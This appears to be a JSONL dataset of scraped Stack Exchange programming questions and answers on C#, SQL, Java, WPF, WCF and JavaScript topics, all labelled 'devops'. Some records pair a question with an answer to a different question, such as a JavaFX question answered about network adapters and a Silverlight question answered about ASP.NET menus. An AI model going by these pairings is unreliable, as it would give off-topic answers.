{"id": "hf_0cfd7a543268", "question": "<p>I've been searching a lot but couldn't find a solution. How do you deal with a DateTime that should be able to contain an uninitialized value (equivalent to null)? I have a class which might have a DateTime property value set or not. I was thinking of initializing the property holder to DateTime.MinValue, which then could easily be checked. I guess this is a quite common question, how do you do that?</p>\n", "question_body": "", "answer": "For normal DateTimes,  if you don't initialize them at all then they will match\n```\nDateTime.MinValue\n```\n, because it is a value type rather than a reference type.\nYou can also use a nullable DateTime, like this:\n```\n```\nDateTime? MyNullableDate;\n```\n```\nOr the longer form:\n```\n```\nNullable<DateTime> MyNullableDate;\n```\n```\nAnd, finally, there's a built in way to reference the default of any type.  This returns\n```\nnull\n```\nfor reference types, but for our DateTime example it will return the same as\n```\nDateTime.MinValue\n```\n:\n```\n```\ndefault(DateTime)\n```\n```\nor, in more recent versions of C#,\n```\n```\ndefault\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.266760"}
{"id": "hf_f519f7076224", "question": "<p>I have a MySQL database of keywords that are presently mixed-case. However, I want to convert them all to lowercase. Is there an easy command to do this, either using MySQL or MySQL and PHP?</p>\n", "question_body": "", "answer": "```\nSELECT LOWER(foo) AS foo FROM bar\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.327595"}
{"id": "hf_3dde16415b3e", "question": "<p>I want to learn MSBuild, was wondering if someone could get me started with a simple build script to filter out my vs.net 2008 project of all files with the .cs extension.</p>\n\n<ol>\n<li>how do I run the build?</li>\n<li>where do you usually store the build also?</li>\n</ol>\n", "question_body": "", "answer": "```\n```\nC:\\projects\\_Play\\SimpleIpService>type \\\\sysrdswbld1\\public\\bin\\mrb-vs2008.cmd\n@echo off\n\ncall \"c:\\Program Files\\Microsoft Visual Studio 9.0\\VC\\vcvarsall.bat\"\n\necho %0 %*\necho %0 %* >> %MrB-LOG%\ncd\nif not \"\"==\"%~dp1\" pushd %~dp1\ncd\nif exist %~nx1 (\n        echo VS2008 build of '%~nx1'.\n        echo VS2008 build of '%~nx1'. >> %MrB-LOG%\n        set MrB-BUILDLOG=%MrB-BASE%\\%MrB-WORK%.%MrB-NICEDATE%.%MrB-NICETIME%.build-errors.log\n        msbuild.exe %~nx1 /t:Rebuild /p:Configuration=Release > %MrB-BUILDLOG%\n        findstr /r /c:\"[1-9][0-9]* Error(s)\" %MrB-BUILDLOG%\n        if not errorlevel 1 (\n                echo ERROR: sending notification email for build errors in '%~nx1'.\n                echo ERROR: sending notification email for build errors in '%~nx1'. >> %MrB-LOG%\n                call mrb-email \"Mr Build isn't happy about build errors in '%~nx1'\" %MrB-BUILDLOG%\n        ) else (\n                findstr /r /c:\"[1-9][0-9]* Warning(s)\" %MrB-BUILDLOG%\n                if not errorlevel 1 (\n                        echo ERROR: sending notification email for build warnings in '%~nx1'.\n                        echo ERROR: sending notification email for build warnings in '%~nx1'. >> %MrB-LOG%\n                        call mrb-email \"Mr Build isn't happy about build warnings in '%~nx1'\" %MrB-BUILDLOG%\n                ) else (\n                        echo Successful build of '%~nx1'.\n                        echo Successful build of '%~nx1'. >> %MrB-LOG%\n                )\n        )\n) else (\n        echo ERROR '%1' doesn't exist.\n        echo ERROR '%1' doesn't exist. >> %MrB-LOG%\n)\npopd\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.374726"}
{"id": "hf_e5de667d0aa0", "question": "<p>I'm familiar with Sybase / SQL server, where I can create a temp. table like this: </p>\n\n<pre><code>SELECT * \nINTO   #temp\nFROM   tab1 , \n       tab2 \nWHERE  tab1.key = tab2.fkey\n\nSELECT * \nFROM   #temp \nWHERE  field1 = 'value' \n</code></pre>\n\n<p>#temp only exists for the duration of this session, and can only be seen by me.  </p>\n\n<p>I would like to do a similar thing in Oracle, but I'm reading about \"global temporary tables\", which don't sound like the same thing.  </p>\n\n<p>How can I do the same thing in Oracle as I'm doing in Sybase? </p>\n\n<p>Thanks :)</p>\n", "question_body": "", "answer": "I believe\nglobal temporary\ntables are the same. They will give you private access to a temporary table that dies when the session ends:\nThe data in a global temporary table is private, such that data inserted by a session can only be accessed by that session. The session-specific rows in a global temporary table can be preserved for the whole session, or just for the current transaction. The ON COMMIT DELETE ROWS clause indicates that the data should be deleted at the end of the transaction.\nAfter reading the question a few more times I believe it the main difference, and maybe your issue is that the temporary tables persist between sessions. So the exact equivalent is not possible as you would imagine in Oracle it would be something like:\n```\n```\nCREATE GLOBAL TEMPORARY TABLE my_temp_table ON COMMIT DELETE ROWS select * from other table;\n```\n```\nThat table will live until it is dropped even through sessions although the data in it does not. Instead you would need to create the temporary table in advance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.446433"}
{"id": "hf_36a21469983b", "question": "<p>Basically I'm converting local dates stored in the database into UTC. But I've read somewhere that daylight saving rules have changed in 2007. So does the Date.ToUniversalTime() function still work correctly. Basically the dates before 2007(when the new rules came into effect) would be converted correctly but the dates after that would be not. Am I right here? Or would .Net take care of the conversion internally i.e. depending upon the different daylight saving rules?</p>\n\n<p>EDIT: Dates are stored in DB as local times. I am converting it into UTC. So a date such as '9 March 2005' should be converted using day light rules of 2005 instead of today's rules. The rules changed in the US in 2007. So the date is coming out wrong by one hour.</p>\n", "question_body": "", "answer": "I would expect\n```\nToUniversalTime()\n```\nto take that into account. Have you tried and checked the result with dates from before and after the DST change?\nEDIT\nIf you\nknow\nthe timezone offset of all the dates in your DB, I definitively recommend you to convert them to UTC at the table level. You get rid of a whole lot of headaches that way. Converting to local time for display purposes is easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.469579"}
{"id": "hf_5ca3cf87200f", "question": "<p>I have two BufferedImages I loaded in from pngs. The first contains an image, the second an alpha mask for the image.</p>\n\n<p>I want to create a combined image from the two, by applying the alpha mask. My google-fu fails me.</p>\n\n<p>I know how to load/save the images, I just need the bit where I go from two BufferedImages to one BufferedImage with the right alpha channel.</p>\n", "question_body": "", "answer": "Actually, I've figured it out. This is probably not a\nfast\nway of doing it, but it works:\n```\n```\nfor (int y = 0; y < image.getHeight(); y++) {\n    for (int x = 0; x < image.getWidth(); x++) {\n        Color c = new Color(image.getRGB(x, y));\n        Color maskC = new Color(mask.getRGB(x, y));\n        Color maskedColor = new Color(c.getRed(), c.getGreen(), c.getBlue(),\n            maskC.getRed());\n        resultImg.setRGB(x, y, maskedColor.getRGB());\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.506017"}
{"id": "hf_9c565ae2bc51", "question": "<p>I have heard that this is what JavaRebel does but is there any other good way to deploy a new version of an EAR while allowing users to remain active on the previous version?  We use JBoss for the application server...</p>\n", "question_body": "", "answer": "It's not what JavaRebel does. JavaRebel (according to description) hot-replaces the classes in memory. It's not acceptable in the case of existing connections to the system, since the updated classes may break the client's logic.\nOnce a company I was working for had a similar problem, and it was solved this way:\na smart router was used as a load-balancer\nthe new version was deployed to 50% of the nodes of the (new) cluster\nnew connections were delivered strictly to these updated nodes, old ones were balanced between old nodes\nold nodes were took off-line (one-by-one, to keep number of clients per node within limits)\nat the same time, new version was deployed to off-line \"old\" nodes and they were brought up as new nodes\ndue to EJB clustering, the sessions and beans were picked up by other old nodes\neventually (in a few hours), only one old node left, having a single instance of old version and all clients using old version were connected to it\nwhen the last old client got disconnected, that node was too brought down\nNow, I'm not a networking guy, and cannot give you many details (like what was the router hardware and such). My understanding this can be set up pretty easy, except, if I remember right, we had to setup an additional Weblogic domain to deploy new versions of the application (otherwise it would be conflicting with the old one on JNDI names).\nHope that helps.\nP.S. Ichorus provided a comment saying that the app is deployed on clients' servers. So the router trick may be not feasible. Now, I see only one viable solution right now ( it's 21:52 now, I may overlook things :) ) --\nDevelop new version with \"versioned\" JNDI names; e.g. if Customer bean was under ejb/Customer in version 1, in version 2 it would be under ejb/Customer2\nHave a business facade in the application with a stable basic interface (Factory-style) which, when asked for Customer bean, tries to find the highest-versioned JNDI name (not on every call, of course, can cache for a hour or so). That facade could (and should) be deployed as a separate application -- and never or very rarely updated\nNow every new client would get access to the latest application deployed, and the applications won't conflict.\nThis approach takes a careful planning and testing, but should work IMHO.\nI recently modified a few applications in a similar way to let them coexist in the same domain (before they used the same JNDI name for different data sources).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.530343"}
{"id": "hf_224cc419eb22", "question": "<p>Is there a way to write an enumeration that can be extended.  I have several methods that I would like to always have available for my enumerations.  For example I use an enumeration for my database fields.  I include the actual field name in the database. </p>\n\n<pre><code>public enum ORDERFIELDS\n        {\n            OrderID(\"Order_ID\");\n            private String FieldName;\n\n            private ORDERFIELDS(String fname)\n                {\n                    this.FieldName = fname;\n                }\n\n            public String getFieldName()\n                {\n                    return FieldName;\n                }\n        } \n</code></pre>\n", "question_body": "", "answer": "All enums implicitly extend\n```\njava.lang.Enum\n```\n. Since Java does not support multiple inheritance, an enum cannot extend anything else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.591797"}
{"id": "hf_809a3d652ff8", "question": "<p>Do the clients need something else than a proper jdk and javafx compliant browser to visit javafx applets?</p>\n", "question_body": "", "answer": "GetAdaptersInfo() is the official method, it enumerates all adapters even ones that are disconnected.\nSee this post for example code\ncodeguru", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.627917"}
{"id": "hf_d89eb6d2a6d7", "question": "<p>I am getting a warning when trying to include the .net 3.5 sp1 prerequisite for my setup project.  The warning states Prerequisite could not found for bootstrapping.</p>\n\n<p>Any suggestions?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I followed the directions in 2.3.1.1 Enable Samesite for the .NET Framework 3.5 SP1 bootstrapper package  and now everything works perfect.\nThanks", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.664271"}
{"id": "hf_863d7a895803", "question": "<p>What is the prefered method for creating a byte array from an input stream? </p>\n\n<p>Here is my current solution with .NET 3.5. </p>\n\n<pre><code>Stream s;\nbyte[] b;\n\nusing (BinaryReader br = new BinaryReader(s))\n{\n    b = br.ReadBytes((int)s.Length);\n}\n</code></pre>\n\n<p>Is it still a better idea to read and write chunks of the stream?</p>\n", "question_body": "", "answer": "It really depends on whether or not you can trust\n```\ns.Length\n```\n. For many streams, you just don't know how much data there will be. In such cases - and before .NET 4 - I'd use code like this:\n```\n```\npublic static byte[] ReadFully(Stream input)\n{\n    byte[] buffer = new byte[16*1024];\n    using (MemoryStream ms = new MemoryStream())\n    {\n        int read;\n        while ((read = input.Read(buffer, 0, buffer.Length)) > 0)\n        {\n            ms.Write(buffer, 0, read);\n        }\n        return ms.ToArray();\n    }\n}\n```\n```\nWith .NET 4 and above, I'd use\n```\nStream.CopyTo\n```\n, which is basically equivalent to the loop in my code - create the\n```\nMemoryStream\n```\n, call\n```\nstream.CopyTo(ms)\n```\nand then return\n```\nms.ToArray()\n```\n. Job done.\nI should perhaps explain why my answer is longer than the others.\n```\nStream.Read\n```\ndoesn't guarantee that it will read everything it's asked for. If you're reading from a network stream, for example, it may read one packet's worth and then return, even if there will be more data soon.\n```\nBinaryReader.Read\n```\nwill keep going until the end of the stream or your specified size, but you still have to know the size to start with.\nThe above method will keep reading (and copying into a\n```\nMemoryStream\n```\n) until it runs out of data. It then asks the\n```\nMemoryStream\n```\nto return a copy of the data in an array. If you know the size to start with - or\nthink\nyou know the size, without being sure - you can construct the\n```\nMemoryStream\n```\nto be that size to start with. Likewise you can put a check at the end, and if the length of the stream is the same size as the buffer (returned by\n```\nMemoryStream.GetBuffer\n```\n) then you can just return the buffer. So the above code isn't quite optimised, but will at least be correct. It doesn't assume any responsibility for closing the stream - the caller should do that.\nSee\nthis article\nfor more info (and an alternative implementation).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.719966"}
{"id": "hf_2fdb4256ec57", "question": "<p>I want to provide silverlight app to my customer while hosting the app at my own site for streamlined maintenance.</p>\n\n<ul>\n<li>my Silverlight .xap  is hosted in, let say,  domain <em>me-supplier.com</em></li>\n<li>i want to embed it in, let say, domain <em>my-customer.com</em></li>\n</ul>\n\n<p>It works perfectly for <em><a href=\"http://my-customer.com\" rel=\"nofollow noreferrer\">http://my-customer.com</a></em>, not for <strong><em>https</strong>://my-customer.com</em>  </p>\n\n<ul>\n<li>i have added the (<em>me-supplier.com</em> hosted) cross domain silverlight policy file to allow <em>my-customer.com</em></li>\n<li>i have configured the mime types for .xap</li>\n<li>the silverlight app needs html dom access so the iframe approach is not viable i believe.</li>\n</ul>\n\n<p>this works for javascript code, so why not for silverlight ? any idea, workaround ?</p>\n", "question_body": "", "answer": "The short story is that it isn't\neasily\naccomplished. That code is added to the header by the menu during the prerender phase.\nA possible workaround might be overriding the menu's onprerender in a custom menu control and don't call base. You could then replace the default menu control with your own using\ntagMappings\n.\nI'd suggest you stay clear of the menu control if you can.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.753819"}
{"id": "hf_2609e15c8d2f", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/43743/asp-net-mvc-performance\">ASP.NET MVC Performance</a>  </p>\n</blockquote>\n\n\n\n<p>I know there is a learning curve, but what about performance? It seems to me that web forms would be less performant, but I havent tried MVC yet to know for sure. What is everyone else experiencing?</p>\n", "question_body": "", "answer": "This is almost a duplicate question. Here are some similar discussions:\nASP.NET MVC Performance\nWhat are the key differences between ASP.NET webforms and MVC\nBiggest advantage to using ASP.Net MVC vs web forms", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.776749"}
{"id": "hf_59c0fd567899", "question": "<p>What tools are there that I can test out a WCF service?</p>\n\n<p>I am expecting allot of load so I want to have an idea how much a single server can handle.</p>\n", "question_body": "", "answer": "Start with this:\nhttp://www.codeplex.com/WCFLoadTest\nIt doesn't do everything possible with WCF, but it is the best tool to start with. Worse comes to worse, it's not that hard to write manual invocation code with web services. They are much easier to load test than web sites.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.822233"}
{"id": "hf_79c5ea45b430", "question": "<p>I am creating an application in java which will be the part of an external application. My application contains a viewport which shows some polygons and stuff like that. The external application needs to get the image of the viewport in gif format. For that it calls a method in an interface (implemented by my application) and my application returns the image. The external application needs to store the image in database (or something related to it which I dont need to worry about).</p>\n\n<p>My question is:- What should be the data container type of the image when my application send it to the external application? I mean what should be the return type of the method?\nCurrently my gif encoder class returns a byte array. Is there any other 'better' option?</p>\n", "question_body": "", "answer": "A byte array could be appropriate if you expect the GIFs to be small, but you might consider using an\n```\nOutputStream\n```\nso you can stream bits more efficiently.\nEven if today you just return a fully-populated\n```\nByteArrayOutputStream\n```\n, this would allow you to change your implementation in future without affecting cilent code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.844802"}
{"id": "hf_566af45559e4", "question": "<p>Pretty much what the title says. Is there a way to add files to a vsnet project from inside Vim? I work in a group of devs, and all of our code has solutions and projects as you would expect. I would like to use Vim, and was hoping for a way to maintain those project files when I added or removed files without having to go into vsnet. </p>\n", "question_body": "", "answer": "The project and solution files are in xml and are hand-edittable.  (I often have to during an SVN merge.)  However, HUGE DISCLAIMER AHOY, adding stuff from scratch is a lot more dubious than an svn merge.  I get to see the lines and just move them in (or not) here or there.  To be confident that you're not destroying the proj and sln files, you would have to experiment with visual studio a little bit to make sure what has to be added.\nThere are more IDEs than visual studio... perhaps there's some clues in their guts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.879401"}
{"id": "hf_030de02e3761", "question": "<p>When adding a reference to a project I sometimes see the message...</p>\n\n<p>\"The Target Framework version for the project is higher than the current project Target Framework version. Would you like to add this reference to your project anyway?\"</p>\n\n<p>I understand what the message is indicating but can anyone explain what issues might arise from saying 'Yes'?</p>\n", "question_body": "", "answer": "Suppose you build an application where the exe targets 2.0, but some library targets 3.5. Someone with a .NET 2.0 machine looks at the main project and thinks they can run it - after all, the application targets 2.0, right? When the library is first loaded, they'll get a nasty surprise...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.936939"}
{"id": "hf_22ee66282d75", "question": "<p>How to format numbers in JavaScript?</p>\n\n<hr>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/51564/javascript-culture-sensitive-currency-formatting\">JavaScript culture sensitive currency formatting</a></li>\n</ul>\n", "question_body": "", "answer": "The best you have with JavaScript is toFixed() and toPrecision() functions on your numbers.\n```\n```\nvar num = 10;\nvar result = num.toFixed(2); // result will equal 10.00\n\nnum = 930.9805;\nresult = num.toFixed(3); // result will equal 930.981\n\nnum = 500.2349;\nresult = num.toPrecision(4); // result will equal 500.2\n\nnum = 5000.2349;\nresult = num.toPrecision(4); // result will equal 5000\n\nnum = 555.55;\nresult = num.toPrecision(2); // result will equal 5.6e+2\n```\n```\nCurrency, commas, and other formats will have to be either done by you or a third party library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:36.970704"}
{"id": "hf_069b214ebe87", "question": "<p>Lots of frameworks let me expose an ejb as a webservice. </p>\n\n<p>But then 2 months after publishing the initial service I need to change the ejb or any part of its interface. I still have clients that need to access the old interface, so I obviously need to have 2 webservices with different signatures.</p>\n\n<p>Anyone have any suggestions on how I can do this, preferably letting the framework do the grunt work of creating wrappers and copying logic (unless there's an even smarter way).</p>\n\n<p>I can choose webservice framework on basis of this, so suggestions are welcome.</p>\n\n<p>Edit: I know my change is going to break compatibility,and I am fully aware that I will need two services with different namespaces at the same time. But how can I do it in a simple manner ?</p>\n", "question_body": "", "answer": "I'm not an EBJ guy, but I can tell you how this is generally handled in the web service world. If you have a non-breaking change to the contract (for instance, adding a property that is optional), then you can simply update the contract and consumers should be fine.\nIf you have a breaking change to a contract, then the way to handle it is to create a new service with a new namespace for it's types. For instance, if your first service had a namespace of:\nhttp://myservice.com/2006\nYour new one might have:\nhttp://myservice.com/2009\nExpose this contract to new consumers.\nHow you handle the old contract is up to you. You might direct all the requests to an old server and let clients choose when to upgrade to the new servers. If you can use some amount of logic to upgrade the requests to the format that the new service expects, then you can rip out the old service's logic and replace it with calls to the new. Or, you might just deprecate it all together and fail all calls to the old service.\nPS: This is much easier to handle if you create message class objects rather than reusing domain entities.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.014691"}
{"id": "hf_4a50d02e556c", "question": "<p>the WPF Popup control is nice, but somewhat limited in my opinion. is there a way to \"drag\" a popup around when it is opened (like with the DragMove() method of windows)?</p>\n\n<p>can this be done without big problems or do i have to write a substitute for the popup class myself?\nthanks</p>\n", "question_body": "", "answer": "There is no DragMove for PopUp. Just a small work around, there is lot of improvements you can add to this.\n```\n```\n<Popup x:Name=\"pop\" IsOpen=\"True\" Height=\"200\" Placement=\"AbsolutePoint\"  Width=\"200\">\n   <Rectangle Stretch=\"Fill\" Fill=\"Red\"/>            \n</Popup>\n```\n```\nIn the code behind , add this mousemove event\n```\n```\npop.MouseMove += new MouseEventHandler(pop_MouseMove);\n\n   void pop_MouseMove(object sender, MouseEventArgs e)\n    {\n        if (e.LeftButton == MouseButtonState.Pressed)\n        {\n            pop.PlacementRectangle = new Rect(new Point(e.GetPosition(this).X,\n                e.GetPosition(this).Y),new Point(200,200));\n\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.038219"}
{"id": "hf_5b6f01ee0b80", "question": "<p>I have a ControlTemplate that is made up of a ToolBarTray and a ToolBar.  In my ToolBar, I have several buttons and then a label.  I want to be able to update the label in my toolbar with something like \"1 of 10\"   </p>\n\n<p>My first thought is to programatically find the label and set it, but I'm reading that this should be done with Triggers.  I am having a hard time understanding how to accomplish this.  Any ideas?</p>\n\n<pre><code>   &lt;Style x:Key=\"DocViewerToolBarStyle\" TargetType=\"{x:Type ContentControl}\"&gt;\n   &lt;Setter Property=\"Template\"&gt;\n     &lt;Setter.Value&gt;\n           &lt;ControlTemplate TargetType=\"{x:Type ContentControl}\"&gt;\n              &lt;ToolBarTray... /&gt;\n              &lt;ToolBar.../&gt;\n              &lt;Button../&gt;             \n              &lt;Button..&gt;\n\n             &lt;Label x:Name=\"myStatusLabel\"  .. /&gt;\n</code></pre>\n", "question_body": "", "answer": "I would set the label to the \"Content\" attribute of your control e.g.\n```\n```\n<Label x:Name=\"myStatusLabel\"  Content=\"{TemplateBinding Content}\"/>\n```\n```\nThen you can set your label's text with your top level object's Content attribute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.097671"}
{"id": "hf_4f1ccae1c054", "question": "<p>this is my first question here so I hope I can articulate it well and hopefully it won't be too mind-numbingly easy.</p>\n\n<p>I have the following class <em>SubSim</em> which extends <em>Sim</em>, which is extending <em>MainSim</em>. In a completely separate class (and library as well) I need to check if an object being passed through is a type of <em>MainSim</em>. So the following is done to check;</p>\n\n<pre>\nType t = GetType(sim);\n//in this case, sim = SubSim\nif (t != null)\n{\n  return t.BaseType == typeof(MainSim);\n}\n</pre>\n\n<p>Obviously <em>t.BaseType</em> is going to return <em>Sim</em> since <em>Type.BaseType</em> gets the type from which the current Type directly inherits. </p>\n\n<p>Short of having to do <em>t.BaseType.BaseType</em> to get <em>MainSub</em>, is there any other way to get the proper type using .NET libraries? Or are there overrides that can be redefined to return the main class? </p>\n\n<p>Thank you in advance</p>\n", "question_body": "", "answer": "```\n```\nif (sim is MainSim)\n```\n```\nis all you need. \"is\" looks up the inheritance tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.120886"}
{"id": "hf_c57ae92f4f8c", "question": "<p>I got this error when trying to run a query in SQL server query analyzer.\nWhat is the reason?</p>\n", "question_body": "", "answer": "If you're using cursors, then you've probably closed the cursor. Check out MSDN for more information (\nhttp://support.microsoft.com/kb/15169\n3)\nIf you're not using cursors, then it could be an issue with the server, check the log.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.178710"}
{"id": "hf_7f59971158aa", "question": "<p><a href=\"https://stackoverflow.com/questions/106597/why-are-fixnums-in-emacs-only-29-bits\">The fixnum question</a> brought my mind to an other question I've wondered for a long time.</p>\n\n<p>Many online material about garbage collection does not tell about how runtime type information can be implemented. Therefore I know lots about all sorts of garbage collectors, but not really about how I can implement them.</p>\n\n<p>The fixnum solution is actually quite nice, it's very clear which value is a pointer and which isn't. What other commonly used solutions for storing type information there is?</p>\n\n<p>Also, I wonder about fixnum -thing. Doesn't that mean that you are being limited to fixnums on every array index? Or is there some sort of workaround for getting full 64-bit integers?</p>\n", "question_body": "", "answer": "Basically to achieve accurate marking you need meta-data indicating which words are used as pointers and which are not.\nThis meta-data could be stored per reference, as emacs does. If for your language/implementation you don't care much about memory use, you could even make references bigger than words (perhaps twice as big), so that every reference can carry type information as well as its one-word data. That way you could have a fixnum the full size of a 32 bit pointer, at the cost of references all being 64 bit.\nAlternatively, the meta-data could be stored along with other type information. So for example a class could contain, as well as the usual function pointer table, one bit per word of the data layout indicating whether or not the word contains a reference that should be followed by the garbage collector. If your language has virtual calls then you must already have a means of working out from an object what function addresses to use, so the same mechanism will allow you to work out what marking data to use - typically you add an extra, secret pointer at the start of every single object, pointing to the class which constitutes its runtime type. Obviously with certain dynamic languages the type data pointed to would need to be copy-on-write, since it is modifiable.\nThe stack can do similar - store the accurate marking information in data sections of the code itself, and have the garbage collector examine the stored program counter, and/or link pointers on the stack, and/or other information placed on the stack by the code for the purpose, to determine which code each bit of stack relates to and hence which words are pointers. Lightweight exception mechanisms tend to do a similar thing to store information about where try/catch occurs in the code, and of course debuggers need to be able to interpret the stack too, so this can quite possibly be folded in with a bunch of other stuff you'd already be doing to implement any language, including ones with built-in garbage collection.\nNote that garbage collection doesn't necessarily need accurate marking. You could treat every word as a pointer, regardless of whether it really is or not, look it up in your garbage collector's \"big list of everything\" to decide whether it plausibly could refer to an object that has not yet been marked, and if so treat it as a reference to that object. This is simple, but the cost of course is that it's somewhere between \"quite slow\" and \"very slow\", depending on what data structures your gc uses for the lookup. Furthermore, sometimes an integer just so happens to have the same value as the address of an unreferenced object, and causes you to keep a whole bunch of objects which should have been collected. So such a garbage collector cannot offer strong guarantees about unreferenced objects ever being collected. This might be fine for a toy implementation or first working version, but is unlikely to be popular with users.\nA mixed approach might, say, do accurate marking of objects, but not of regions of the stack where things get particularly hairy. For example if you write a JIT which can create code where a referenced object address appears only in registers, not in your usual stack slots, then you might need to non-accurately follow the region of the stack where the OS stored the registers when it descheduled the thread in question to run the garbage collector. Which is probably quite fiddly, so a reasonable approach (potentially resulting in slower code) would be to require the JIT to always keep a copy of all pointer values it's using on the accurately marked stack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:37.247503"}
